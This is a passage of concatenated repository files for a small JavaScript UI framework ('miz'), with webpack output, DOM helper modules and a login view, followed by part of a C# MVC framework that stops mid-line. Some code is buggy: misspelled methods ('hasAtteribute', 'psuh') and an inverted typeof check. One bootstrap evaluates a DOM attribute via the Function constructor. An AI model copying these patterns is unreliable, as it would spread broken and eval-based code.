item.setAttribute(alias[e.toLowerCase()] || e, getVal(e, name[e])); } } } else { item.setAttribute(alias[name.toLowerCase()] || name, getVal(name, value)); } }, get: function get(node, name) { return _dom2.default.byOne(node).getAttribute(alias[name.toLowerCase()] || name) || ''; }, remove: function remove(node, name) { _dom2.default.byOne(node).removeAttribute(alias[name.toLowerCase()] || name); }, has: function has(node, name) { return _dom2.default.byOne(node).hasAtteribute(alias[name.toLowerCase()] || name); } }); _lang2.default.setObject(_config2.default.getObjectName('base.dom.attr'), 1, domAttr); exports.default = domAttr; /***/ }, /* 20 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _attr = __webpack_require__(19); var _attr2 = _interopRequireDefault(_attr); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var domClass = _lang2.default.create({ has: function has(node, name) { return _attr2.default.get(node, 'class').split(' ').indexOf(name) === -1 ? !!0 : !!1; }, add: function add(node, name) { var _class = _attr2.default.get(node, 'class').split(' '); _class.push(name); if (!this.has(node, name)) { _attr2.default.set(node, 'class', _class.join(" ")); } }, remove: function remove(node, name) { var _class = _attr2.default.get(node, 'class').split(' '); name.split(' ').forEach(function (item) { if (_class.includes(item)) { _class.splice(_class.indexOf(item), 1); } }); _attr2.default.set(node, 'class', _class.join(' ')); } }); _lang2.default.setObject(_config2.default.getObjectName('base.dom.class'), 1, domClass); exports.default = domClass; /***/ }, /* 21 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _dom = __webpack_require__(17); var _dom2 = _interopRequireDefault(_dom); var _attr = __webpack_require__(19); var _attr2 = _interopRequireDefault(_attr); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var exception = ['width', 'height', 'max-width', 'min-width', 'max-height', 'min-height', 'line-height', 'top', 'left', 'right', 'bottom']; var domStyle = _lang2.default.create({ set: function set(node, name, value) { if (_lang2.default.isObject(name)) { _attr2.default.set(node, { style: name }); } else { _dom2.default.byOne(node).style[name] = _lang2.default.isNumber(value) && exception.indexOf(name) !== -1 ? value + 'px' : value; } }, get: function get(node, name) { var value = _config2.default.global.getComputedStyle(_dom2.default.byOne(node))[name] || _dom2.default.byOne(node)[name]; return _lang2.default.isNumber(value) ? value : value.indexOf('px') === -1 ? value : parseInt(value); }, // 移除节点上的style empty: function empty(node) { _dom2.default.byOne(node).removeAttribute('style'); } }); _lang2.default.setObject(_config2.default.getObjectName('base.dom.attr'), 1, domStyle); exports.default = domStyle; /***/ }, /* 22 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-20 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _construct = __webpack_require__(18); var _construct2 = _interopRequireDefault(_construct); var _style = __webpack_require__(21); var _style2 = _interopRequireDefault(_style); var _class = __webpack_require__(20); var _class2 = _interopRequireDefault(_class); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var index = 0; var classes = 'mui.View.FieldPane'; var FiledPane = function () { function FiledPane(params) { _classCallCheck(this, FiledPane); this.init = { parent: '', number: 0, class: '', rank: 'lateral', planView: undefined }; Object.assign(this.init, params); // 初始化参数 this.classes = classes; this.domNode = _construct2.default.create('div', { registId: classes + '_' + index, style: { width: '100%', height: '100%' } }, this.init.parent); this.addClass(this.domNode, this.init.class); return this.delimitPane(this.init.number, this.init.rank); } _createClass(FiledPane, [{ key: 'delimitPane', value: function delimitPane(number, rank) { if (!_lang2.default.isNumber(number)) (0, _error2.default)(null, 'FiledPane param create number must is Number'); this.childNodes = []; if (_lang2.default.isString(rank)) { switch (rank) { case 'lateral': for (var i = 0; i < number; i++) { this.childNodes.push(_construct2.default.create('div', { class: 'fieldPane_lateral', style: { display: 'inline-block', 'vertical-align': 'middle', height: '100%', position: 'relative' } }, this.domNode)); } this.resize(); return this.childNodes; case 'lengthways': for (var _i = 0; _i < number; _i++) { this.childNodes.push(_construct2.default.create('div', { class: 'fieldPane_lengthways', style: { display: 'block', 'vertical-align': 'middle', overflow: 'hidden', position: 'relative' } }, this.domNode)); } this.resize(); return this.childNodes; } } } }, { key: 'addClass', value: function addClass(node, name) { _class2.default.add(node, name); } // 重算显示的大小 }, { key: 'resize', value: function resize() { var _this = this; var fasion = { 'lateral': 'width', 'lengthways': 'height' }; var _value = _style2.default.get(this.domNode, fasion[this.init.rank]); var value = 0; if (_lang2.default.isNumber(this.init.planView)) { this.childNodes.forEach(function (item, key) { if (key !== _this.init.planView) { value += _style2.default.get(item, fasion[_this.init.rank]); } }); _style2.default.set(this.childNodes[this.init.planView], fasion[this.init.rank], _value - value); } else { (function () { var size = []; _this.childNodes.forEach(function (item, key) { var val = _style2.default.get(item, fasion[_this.init.rank]); if (!val) size.push(key); value += val; }); var val = (_value - value) / size.length; size.forEach(function (item) { _style2.default.set(_this.childNodes[item], fasion[_this.init.rank], val); }); })(); } } }]); return FiledPane; }(); _lang2.default.setObject(_config2.default.getObjectName(classes), 1, FiledPane); exports.default = FiledPane; /***/ }, /* 23 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-26 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _config = __webpack_require__(10); var _config2 = _interopRequireDefault(_config); var _error = __webpack_require__(13); var _error2 = _interopRequireDefault(_error); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _header = __webpack_require__(24); var _header2 = _interopRequireDefault(_header); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var loader = function loader(URL) { var loading = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : function () {}; var params = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; var init = { suffix: params.suffix || [], verfiy: params.verfiy || false }; // 类型检测 URL = _lang2.default.toArray(URL); if (!_lang2.default.isFunction(loading)) return (0, _error2.default)(null, 'loading type not is Funtion'); if (!_lang2.default.isArray(init.suffix)) return (0, _error2.default)(null, 'params.suffix type not is Array'); if (!_lang2.default.isBoolean(init.verfiy)) return (0, _error2.default)(null, 'params.verfiy type not is Boolean'); return new Promise(function (resolve, reject) { var num = 0; var data = { complete: [], error: [] }; URL.forEach(function (URI) { // 获得文件的后缀名 var suffix = URI.split('.').pop(); // 加载文件 var load = function load() { var headers = new Headers(); headers.append('Content-Type', _header2.default[suffix]); var req = new Request(URL, { method: 'GET', headers: headers, mode: 'cors', cache: 'default' }); fetch(req).then(function (request) { ++num; data.complete.push(request); if (URL.length === num) resolve(data.complete); }).catch(function (request) { ++num; data.error.psuh(request); if (URL.length === num) reject(data.error); }); }; // 如果启用了后缀验证 不通过的直接跳过 init.verfiy ? init.suffix.indexOf(suffix) === -1 ? ++num : load() : load(); }); }); }; _lang2.default.setObject(_config2.default.getObjectName('plug.loader'), 1, loader); exports.default = loader; /***/ }, /* 24 */ /***/ function(module, exports, __webpack_require__) { 'use strict'; /** * Create Time 2016-08-09 * Write Name Spicely * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var header = _lang2.default.create({ jpeg: 'image/jpeg', jpg: 'image/jpg', png: 'image/png', gif: 'image/gif', js: 'application/x-javascript', css: 'text/css', html: 'text/html', ico: 'application/x-ico' });exports.default = header; /***/ }, /* 25 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-25 * Write Name <NAME> * Email <EMAIL> */ Object.defineProperty(exports, "__esModule", { value: true }); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var loader = _lang2.default.create({ hash: { get: function get() { return location.hash.substr(1); }, set: function set(value) { location.hash = value; } } });exports.default = loader; /***/ }, /* 26 */ /***/ function(module, exports, __webpack_require__) { "use strict"; /** * Create Time 2016-06-25 * Write Name <NAME> * Email <EMAIL> */ __webpack_require__(27); __webpack_require__(28); var _brower = __webpack_require__(16); var _brower2 = _interopRequireDefault(_brower); var _lang = __webpack_require__(11); var _lang2 = _interopRequireDefault(_lang); var _View3 = __webpack_require__(15); var _View4 = _interopRequireDefault(_View3); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; } var classes = 'view.Login'; var Login = function (_View2) { _inherits(Login, _View2); function Login(props) { _classCallCheck(this, Login); var _this = _possibleConstructorReturn(this, (Login.__proto__ || Object.getPrototypeOf(Login)).call(this, props)); _this.classes = classes; var option = { url: _brower2.default.isMobile ? './image/5.png' : './image/4.jpg' }; _this.addFullImage(option); option = { lists: [{ right: { type: 'text', placeholder: '输入你的账号' }, class: '_Login_margin' }, { right: { type: 'password', placeholder: '输入你的密码' }, class: '_Login_margin' }, { right: { label: '忘记密码', onClick: function onClick() { console.log(_this); } }, class: '_Login_lose' }, { right: { type: 'submit', onClick: function onClick() { console.log(1); } }, class: '_Login_margin' }], liebetween: true, center: true, class: '_Login _Lgion_self' }; _this.addLists(option); return _this; } return Login; }(_View4.default); _lang2.default.setObject(classes, 1, Login); /***/ }, /* 27 */ /***/ function(module, exports, __webpack_require__) { module.exports = __webpack_require__.p + "image/4.jpg"; /***/ }, /* 28 */ /***/ function(module, exports, __webpack_require__) { module.exports = __webpack_require__.p + "image/5.png"; /***/ } ]);<file_sep>'use strict'; /** * Create Time 2016-06-12 * Write Name <NAME> * Email <EMAIL> */ import config from './config' import lang from './base/basic/lang' import on from './base/event/on' (() => { // 版本 let version = '1.0.0' const loca = location // 定义一个空的方法 let noop = () => {} // 获得所有文件路径 let esAllObject = config.basic.scripts let esObject = esAllObject[esAllObject.length - 1] let getEsUrl = () => { let script = esObject.src let arr = script.substring(loca.origin.length + 1).split('/') return arr.slice(0, arr.length - 1).join('/') + '/' } // 定义核心路径 const baseUrl = getEsUrl() // 初始化全局参数 let _global = { baseUrl: baseUrl } // 获得配置参数 if (undefined === typeof occConfig) { if (lang.isObject(occConfig)) Object.assign(_global, occConfig) } // 获得当前文件配置 let getEsInit = () => { let init = esObject.getAttribute('data-miz-deploy') || '' return (Function('return' + '{' + init + '}'))() } Object.assign(_global, getEsInit()) _global.version = version lang.defineProperty(lang.getObject(config.getObjectName(), 1, config.global), _global) })() <file_sep>"use strict"; /** * Create Time 2016-06-20 * Write Name <NAME> * Email <EMAIL> */ import config from '../../config' import error from '../../error' import dom from '../dom' import lang from '../basic/lang' import domAttr from '../dom/attr' let domConstruct = lang.create({ create(tag, attr, parent, fashion = 'after') { let node = config.basic.createElement(tag) domAttr.set(node, attr) if (parent) this.append(node, parent, fashion) return node }, append(node, parent, fashion = 'after') { switch (fashion) { case 'after': if (lang.isElement(node) && lang.isElement(parent)) { dom.byOne(parent).appendChild(node) } else { error(null, 'node or parent not is Element') } break default: error(null, "domConstruct.appendChild fashion not define") } }, // 销毁节点 destroy(node) { dom.byOne(node).remove() }, // 把这个节点追加到指定对象 placeAt(node, parent) { this.append(node, parent) } }) lang.setObject(config.getObjectName('base.dom.construct'), 1, domConstruct) export default domConstruct <file_sep>"use strict"; /** * Create Time 2016-06-25 * Write Name <NAME> * Email <EMAIL> */ import '../../image/4.jpg' import '../../image/5.png' import brower from '../miz/brower' import lang from '../miz/base/basic/lang' import _View from '../miz/mui/View/_View' let classes = 'view.Login' class Login extends _View { constructor(props) { super(props) this.classes = classes let option = { url: brower.isMobile ? './image/5.png' : './image/4.jpg' } this.addFullImage(option) option = { lists: [{ right: { type: 'text', placeholder: '输入你的账号' }, class: '_Login_margin' }, { right: { type: 'password', placeholder: '输入你的密码' }, class: '_Login_margin' }, { right: { label: '忘记密码', onClick:()=>{ console.log(this) } }, class: '_Login_lose' },{ right: { type: 'submit', onClick:()=>{ console.log(1) } }, class: '_Login_margin' }], liebetween: true, center: true, class: '_Login _Lgion_self' } this.addLists(option) } } lang.setObject(classes, 1, Login) <file_sep>"use strict"; /** * Create Time 2016-10-20 * Write Name <NAME> * Email <EMAIL> */ import config from './config' import lang from './base/basic/lang' let brower = Object.create(null, { // 浏览器可见高度 height: { get: () => { return config.basic.documentElement.clientHeight }, }, // 浏览器可见宽度 width: { get: () => { return config.basic.documentElement.clientWidth }, }, // 显示器宽度 GL_SC_HEIGHT: { value: config.global.screen.height }, // 显示器高度 GL_SC_WIDTH: { value: config.global.screen.width }, // 用于获得浏览器平台 redirect: { get: () => { let sUserAgent = navigator.userAgent.toLowerCase() return /\(([^\(\)]*)\)/.test(sUserAgent) && RegExp.$1 } }, // 判断PC平台 isPC: { get: function () { let mobile = this.redirect.match(/ipad/i) || this.redirect.match(/iphone os/i) || this.redirect.match(/midp/i) || this.redirect.match(/rv:1.2.3.4/i) || this.redirect.match(/ucweb/i) || this.redirect.match(/android/i) || this.redirect.match(/windows ce/i) || this.redirect.match(/windows mobile/i) || this.redirect.match(/windows phone/i) return !mobile } }, // 判断手机平台 isMobile: { get: function () { return !this.isPC } } }) lang.setObject(config.getObjectName('brower'), 1, brower) export default brower <file_sep>"use strict"; /** * Create Time 2016-06-25 * Write Name <NAME> * Email <EMAIL> */ import lang from './miz/base/basic/lang' let loader = lang.create({ hash: { get: () => { return location.hash.substr(1) }, set: (value) => { location.hash = value } } }) export default loader <file_sep>var webpack = require('webpack') var path = require('path') var ExtractTextPlugin = require("extract-text-webpack-plugin") var HtmlWebpackPlugin = require('html-webpack-plugin') // 判断是否是在当前生产环境 var isProduction = function () { return process.env.NODE_ENV === 'production'; }; // 定义输出文件夹 var outputDir = './build/'; // 定义开发文件夹 var entryPath = './src/js'; // 自动遍历多文件入口 // var entris = function(entryPath, extPath, ext) { // var files = glob.sync(entryPath + extPath) // var entries = {}, // entry, dirname, basename; // for (var i = 0; i < files.length; i++) { // entry = files[i] // console.log(entry) // dirname = path.dirname(entry) // basename = path.basename(entry, '.' + ext) // entries[path.join(dirname, basename).substr(entryPath.length - 1)] = entry // } // return entries; // } // 定义插件 // multiple extract instances var plugins = [new webpack.optimize.CommonsChunkPlugin({ name: 'commons', filename: 'js/commons.js', }), new ExtractTextPlugin("css/[name].css"), //单独使用style标签加载css并设置其路径 new HtmlWebpackPlugin({ //根据模板插入css/js等生成最终HTML title: "miz", favicon: './src/image/favicon.ico', //favicon路径 filename: './index.html', //生成的html存放路径,相对于 path template: './src/view/index.html', //html模板路径 inject: true, //允许插件修改哪些内容,包括head与body hash: true, //为静态资源生成hash值 minify: { //压缩HTML文件 removeComments: true, //移除HTML中的注释 collapseWhitespace: false //删除空白符与换行符 }, chunks: ["commons", 'index'] }), ] if (isProduction()) { plugins.push( new webpack.optimize.UglifyJsPlugin({ test: /(\.jsx|\.js)$/, compress: { warnings: false }, }) ); } module.exports = { //插件项 plugins: plugins, //页面入口文件配置 entry: { 'index': './src/js/index.js', }, //entris(entryPath, '/**/*.js', 'js') //入口文件输出配置 output: { path: outputDir, filename: 'js/[name].js', }, module: { //加载器配置 loaders: [{ test: /\.less$/, loader: ExtractTextPlugin.extract('style', 'css!less') },{ test: /\.css$/, loader: 'style-loader!css-loader' }, { test: /\.js$/, exclude: /node_modules/, loader: 'babel', query: { presets: ['es2015', 'stage-2'] }, include: [ path.resolve(__dirname, "src/js/"), ], }, { test: /\.(jpe?g|png|gif|svg)$/, loader: 'url?limit=1024&name=image/[name].[ext]' }, { test: /\.scss$/, loader: ['style', 'css?root=' + __dirname, 'resolve-url', 'sass'] }] }, //其它解决方案配置 resolve: { root: '', //绝对路径 extensions: ['', '.js', '.json', '.scss'], contentBase: "./lib/view/", //本地服务器所加载的页面所在的目录 colors: true, //终端中输出结果为彩色 historyApiFallback: true, //不跳转 inline: true //实时刷新 }, devtool: isProduction() ? null : '', devServer: { port: 8080, contentBase: "./lib/view", //本地服务器所加载的页面所在的目录 colors: true, //终端中输出结果为彩色 historyApiFallback: true, //不跳转 inline: true //实时刷新 } } <file_sep>"use strict"; /** * Create Time 2016-06-17 * Write Name <NAME> * Email <EMAIL> */ import config from '../config' import error from '../error' import lang from './basic/lang' let query = (selector, context) => { if (context) { // 必须是节点 而且长度为undefined if (lang.isElement(context) && lang.isNotDef(context.length)) { return context.querySelectorAll(selector) } else { error('query', 'context not is Element'); } } else { return lang.isElement(selector) ? selector.length ? selector : [selector] : config.basic.querySelectorAll(selector) } } lang.setObject(config.getObjectName('base.query'), 1, query) export default query <file_sep>"use strict"; /** * Create Time 2016-11-4 * Write Name <NAME> * Email <EMAIL> */ import lang from '../miz/base/basic/lang' import _View from '../miz/mui/View/_View' let classes = 'view.Home' class Home extends _View { constructor(props) { super(props); this.classes = classes } } lang.setObject(classes, 1, Home) <file_sep>"use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ import config from '../../config' import lang from '../basic/lang' import domAttr from './attr' let domClass = lang.create({ has(node, name) { return domAttr.get(node, 'class').split(' ').indexOf(name) === -1 ? !!0 : !!1 }, add(node, name) { let _class = domAttr.get(node, 'class').split(' ') _class.push(name) if (!this.has(node, name)) { domAttr.set(node, 'class', _class.join(" ")) } }, remove(node, name) { let _class = domAttr.get(node, 'class').split(' ') name.split(' ').forEach((item) => { if (_class.includes(item)) { _class.splice(_class.indexOf(item), 1) } }) domAttr.set(node, 'class', _class.join(' ')) } }) lang.setObject(config.getObjectName('base.dom.class'), 1, domClass) export default domClass <file_sep>'use strict' /** * Create Time 2016-07-10 * Write Name <NAME> * Email <EMAIL> */ let module = Object.create(null, { loader: { value: '\n loader parameter is [url:String, callback:Function, ...args] \n ...args length 3 value [Boolean, Boolean, Function] Non mandatory format' }, on: { value: '\n on parameter is [target:Element, type:String, listener:Function, bubble:boolean, dontFix:boolean]' }, query:{ value:'param is [selector, context] selector is class||id||tagName ,context is element' } }) export default function error(moduleName, errorInfo) { throw new Error(errorInfo + (module[moduleName] || '')) }<file_sep>"use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ import config from '../../config' import lang from '../basic/lang' import dom from '../dom' import domAttr from './attr' let exception = ['width', 'height', 'max-width', 'min-width', 'max-height', 'min-height', 'line-height', 'top', 'left', 'right', 'bottom'] let domStyle = lang.create({ set(node, name, value) { if (lang.isObject(name)) { domAttr.set(node, { style: name }) } else { dom.byOne(node).style[name] = lang.isNumber(value) && exception.indexOf(name) !== -1 ? value + 'px' : value } }, get(node, name) { let value = config.global.getComputedStyle(dom.byOne(node))[name] || dom.byOne(node)[name] return lang.isNumber(value) ? value : value.indexOf('px') === -1 ? value : parseInt(value) }, // 移除节点上的style empty(node) { dom.byOne(node).removeAttribute('style') } }) lang.setObject(config.getObjectName('base.dom.attr'), 1, domStyle) export default domStyle <file_sep>'use strict' /** * Create Time 2016-08-09 * Write Name Spicely * Email <EMAIL> */ import lang from './base/basic/lang' let header = lang.create({ jpeg: 'image/jpeg', jpg: 'image/jpg', png: 'image/png', gif: 'image/gif', js: 'application/x-javascript', css: 'text/css', html: 'text/html', ico: 'application/x-ico' }) export default header <file_sep>'use strict'; /** * Create Time 2016-10-24 * Write Name <NAME> * Email <EMAIL> */ import config from '../config' import lang from '../base/basic/lang' let register = lang.create({})<file_sep>"use strict"; /** * Create Time 2016-10-19 * Write Name <NAME> * Email <EMAIL> */ import config from '../config' import error from '../error' import lang from './basic/lang' let dom = lang.create({ byOne(node) { if (lang.isElement(node) && !node.length) { return node } else { if (lang.isString(node)) { return config.basic.querySelector(node) } else { error(null, 'node type error') } } } }) lang.setObject(config.getObjectName('base.dom'), 1, dom) export default dom
f2efd2f89318a456ceb847823501410ac78a7bd7
[ "JavaScript" ]
17
JavaScript
Spicely/mamoly
4e0e85c344aede0b2f42d598fa7d77689b8114ed
90debf37dca0cebc1d0418f3d4e1d44099614027
refs/heads/master
<repo_name>satish-setty/hackernews-filter<file_sep>/hn_filter_core.py #!/usr/bin/env python # Derek's Hackernews Crap Filter # v0.4 - 08-Nov-2014 - now Python 2.7/3.4 compatible # v0.3 - 07-Aug-2013 import re import requests import fileinput from bs4 import BeautifulSoup # I like that we have to import a 'bs' library # to build this kind of thing SCAN_URL = 'https://news.ycombinator.com/' NUM_PAGES = 2 VERBOTEN_LIST = 'filter.txt' def get_stories(): """ Scrapes hackernews stories and filters the collection. """ story_rows = [] stories = [] for p in range(1, NUM_PAGES + 1): # fetch! r = requests.get(SCAN_URL + "?p=" + str(p), verify=True) souped_body = BeautifulSoup(r.text, 'lxml') try: storytable_html = souped_body('table')[2] except IndexError: raise Exception("Can't find news story table. " + "hackernews HTML format probably changed.") raw_stories = storytable_html.find_all('tr') for tr in raw_stories: # we want strings, not BeautifulSoup tag objects row = tr.encode('utf-8') # Skip to next iteration of for loop if you see a superfluous table row. # (anything without a 'vote?for=' link which also skips sponsored posts. # score!) if not re.match(r'.*"vote\?id=\d+.*', str(row)): continue story_rows.append(tr) for story_row in story_rows: story = {} story['title'] = story_row.find_all('a')[1].string story['link'] = story_row.find_all('a')[1].get('href') # Handle relative HN links if not story['link'].startswith('http'): story['link'] = SCAN_URL + story['link'] vote = story_row.find_all('a')[0].get('href') item_id = re.match(r'.*id=(\d+).*', vote).group(1) story['comments'] = SCAN_URL + 'item?id=' + item_id stories.append(story) return stories def filter_stories(stories): """ Filters HN stories. """ result = { 'good': [], 'crap': [] } # suck in filter words patterns = [] for line in fileinput.input(VERBOTEN_LIST): line = line.strip() # skip blank lines if len(line) < 3: continue # skip comments if re.match(r'^#', line): continue patterns.append(line) combined_re = "(" + ")|(".join(patterns) + ")" compiled_re = re.compile(combined_re) for story in stories: if compiled_re.match(story['title']) or compiled_re.match(story['link']): result['crap'].append(story) else: result['good'].append(story) return result # 14-Aug-2013 - good:crap ratio is 16:14 this afternoon. # So many extra free brain resources! if __name__ == '__main__': print(filter_stories(get_stories())) <file_sep>/hn_filter.py #!/usr/bin/env python3 from hn_filter_core import get_stories, filter_stories BOLDON = "\033[1m" BOLDOFF = "\033[0m" stories = get_stories() filtered_stories = filter_stories(stories) good_stories = filtered_stories['good'] crap_stories = filtered_stories['crap'] if __name__ == '__main__': for story in filtered_stories['good']: print(BOLDON + story['title'] + BOLDOFF) print(" " + story['link']) print("") print("Good: " + str(len(good_stories))) print("Crap: " + str(len(crap_stories))) <file_sep>/README.md Derek's Hackernews Crap Filter == Manifesto -- Do you like the technical articles that filter through Hacker News (http://news.ycombinator.com)? Are you **really** tired of schmaltz and chaff like this? - "This is a web page. It's made up of words." ... "OMG IT'S SO TRUE" - "Why I'm Leaving Elon Musk" - "How do I find a technical co-founder?" No longer. -- - Stick your most-hated buzzphrases in filter.txt. - Terminal.app => Profiles => Advanced => [x] Set locale environment variables on startup - Run hn_filter.py in a terminal session. - Or run hn_filter_server.py and visit http://localhost:31337/ But that's not all! -- You also get my list of irritating buzzwords as a default filter set. It slices, it dices, it kills monsters! [Cmd]+Double-Click URLs in Mac OS X Terminal.app to open them. Requirements -- - Python 2.7 or Python 3.4 - Python modules: BeautifulSoup, Requests, lxml and Bottle If you're on Debian family: ``` # Or their equivalent Python 2 versions sudo apt-get install python3-bs4 python3-requests python3-bottle python3-lxml ``` Alternatives -- There are other Hacker News filters (http://hnapp.com/) but they don't accommodate the level of grumpiness I have achieved (70+ entries in the default killfile). Version History -- v0.4 - 08-Nov-2014 - Add Python 3.x compatibility (tested with 3.4) (if you're on OS X, be sure to enable "Set locale environment variables on startup" in Terminal.app) - HN is now all SSL, all the time, so enable SSL verification v0.3 - 07-Sep-2013 - Bring back console version. Web version optional. - Allow comments in killfile. - Killfile updated with latest curmudgeonry. - Clean up filenames. v0.2 - 15-Aug-2013 - Use bottle.py to provide a web interface. Contributed by <EMAIL> (thank you) v0.1 - 14-Aug-2013 - Initial release. Have a nice day. <file_sep>/requirements.txt beautifulsoup4>=4.3.0 requests>=0.14 lxml <file_sep>/hn_filter_server.py #!/usr/bin/env python from bottle import route, run, template from hn_filter_core import get_stories, filter_stories @route('/') def index(): stories = get_stories() filtered_stories = filter_stories(stories) context = { 'good_stories': filtered_stories['good'], 'crap_stories': filtered_stories['crap'] } return template('home.tpl', context) run(host='localhost', port=31337, reloader=True)
17827ef081587726853e13c6c7871f910096213d
[ "Markdown", "Python", "Text" ]
5
Python
satish-setty/hackernews-filter
ebf2ce2a65d158881e66e4afb7c11fcf17a5c040
0ae98d030d0c72c29941d0088548458831bcbe13
refs/heads/master
<repo_name>hhpop8/EasyFrameWork<file_sep>/EasyFrameWork.Web/Resource/ResourceEntity.cs using Easy.Web.Resource.Enums; using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Web; using System.Web.WebPages; namespace Easy.Web.Resource { public class ResourceEntity { const string StyleFormt = "<link href=\"{0}\" rel=\"stylesheet\" />"; const string ScriptFormt = "<script src=\"{0}\" type=\"text/javascript\"></script>"; public ResourcePosition Position { get; set; } public TextWriter Source { get; set; } public ResourceType SourceType { get; set; } public string ReleaseSource { get; set; } public string DebugSource { get; set; } public TextWriter ToSource<T>(Page.ViewPage<T> page,HttpContextBase httpContext) { if (Source != null) { return Source; } Page.HtmlStringWriter writer = new Page.HtmlStringWriter(); if (System.Diagnostics.Debugger.IsAttached || httpContext.IsDebuggingEnabled) { switch (SourceType) { case ResourceType.Script: writer.Write(string.Format(ScriptFormt, page.Url.Content(DebugSource))); break; case ResourceType.Style: writer.Write(string.Format(StyleFormt, page.Url.Content(DebugSource))); break; } } else { switch (SourceType) { case ResourceType.Script: writer.Write(string.Format(ScriptFormt, page.Url.Content(ReleaseSource))); break; case ResourceType.Style: writer.Write(string.Format(StyleFormt, page.Url.Content(ReleaseSource))); break; } } return writer; } public ResourceEntity ToNew() { return new ResourceEntity() { Position = Position, Source = Source, SourceType = SourceType, ReleaseSource = ReleaseSource, DebugSource = DebugSource }; } } } <file_sep>/EasyFrameWork.Web/Application/AutofacMvcApplication.cs using System.Web.Mvc; using Easy.Web.DependencyResolver; using Easy.Web.MetadataProvider; using Autofac; using Easy.Extend; using Easy.Web.ControllerActivator; using Easy.Web.ValidatorProvider; using System; using Easy.IOC; using Easy.IOC.Autofac; using Easy.IOC.Unity; using Easy.Web.ControllerFactory; using Easy.Web.Filter; namespace Easy.Web.Application { public abstract class AutofacMvcApplication : TaskApplication { private static ILifetimeScopeProvider _lifetimeScopeProvider; public override void Init() { base.Init(); BeginRequest += AutofacMvcApplication_BeginRequest; EndRequest += AutofacMvcApplication_EndRequest; } void AutofacMvcApplication_BeginRequest(object sender, EventArgs e) { _lifetimeScopeProvider.BeginLifetimeScope(); } void AutofacMvcApplication_EndRequest(object sender, EventArgs e) { _lifetimeScopeProvider.EndLifetimeScope(); } public ContainerBuilder AutofacContainerBuilder { get; private set; } private IContainerAdapter _containerAdapter; public override IContainerAdapter ContainerAdapter { get { return _containerAdapter ?? (_containerAdapter = new AutofacContainerAdapter(AutofacContainerBuilder)); } } protected void Application_Start() { ModelValidatorProviders.Providers.Clear(); ModelValidatorProviders.Providers.Add(new EasyModelValidatorProvider()); ModelMetadataProviders.Current = new EasyModelMetaDataProvider(); //ModelBinderProviders.BinderProviders.Add(new EasyBinderProvider()); AutofacContainerBuilder = new ContainerBuilder(); AutofacContainerBuilder.RegisterType<FilterControllerFactory>().As<IControllerFactory>(); AutofacContainerBuilder.RegisterType<EasyControllerActivator>().As<IControllerActivator>(); AutofacContainerBuilder.RegisterType<HttpItemsValueProvider>().As<IHttpItemsValueProvider>().SingleInstance(); //AutofacContainerBuilder.RegisterType<ApplicationContext>().As<IApplicationContext>().InstancePerLifetimeScope(); AutofacContainerBuilder.RegisterType<RequestLifetimeScopeProvider>().As<ILifetimeScopeProvider>().SingleInstance(); //AutofacContainerBuilder.RegisterType<DataDictionaryService>().As<IDataDictionaryService>(); //AutofacContainerBuilder.RegisterType<LanguageService>().As<ILanguageService>().SingleInstance(); var controllerType = typeof(System.Web.Mvc.Controller); var moduleType = 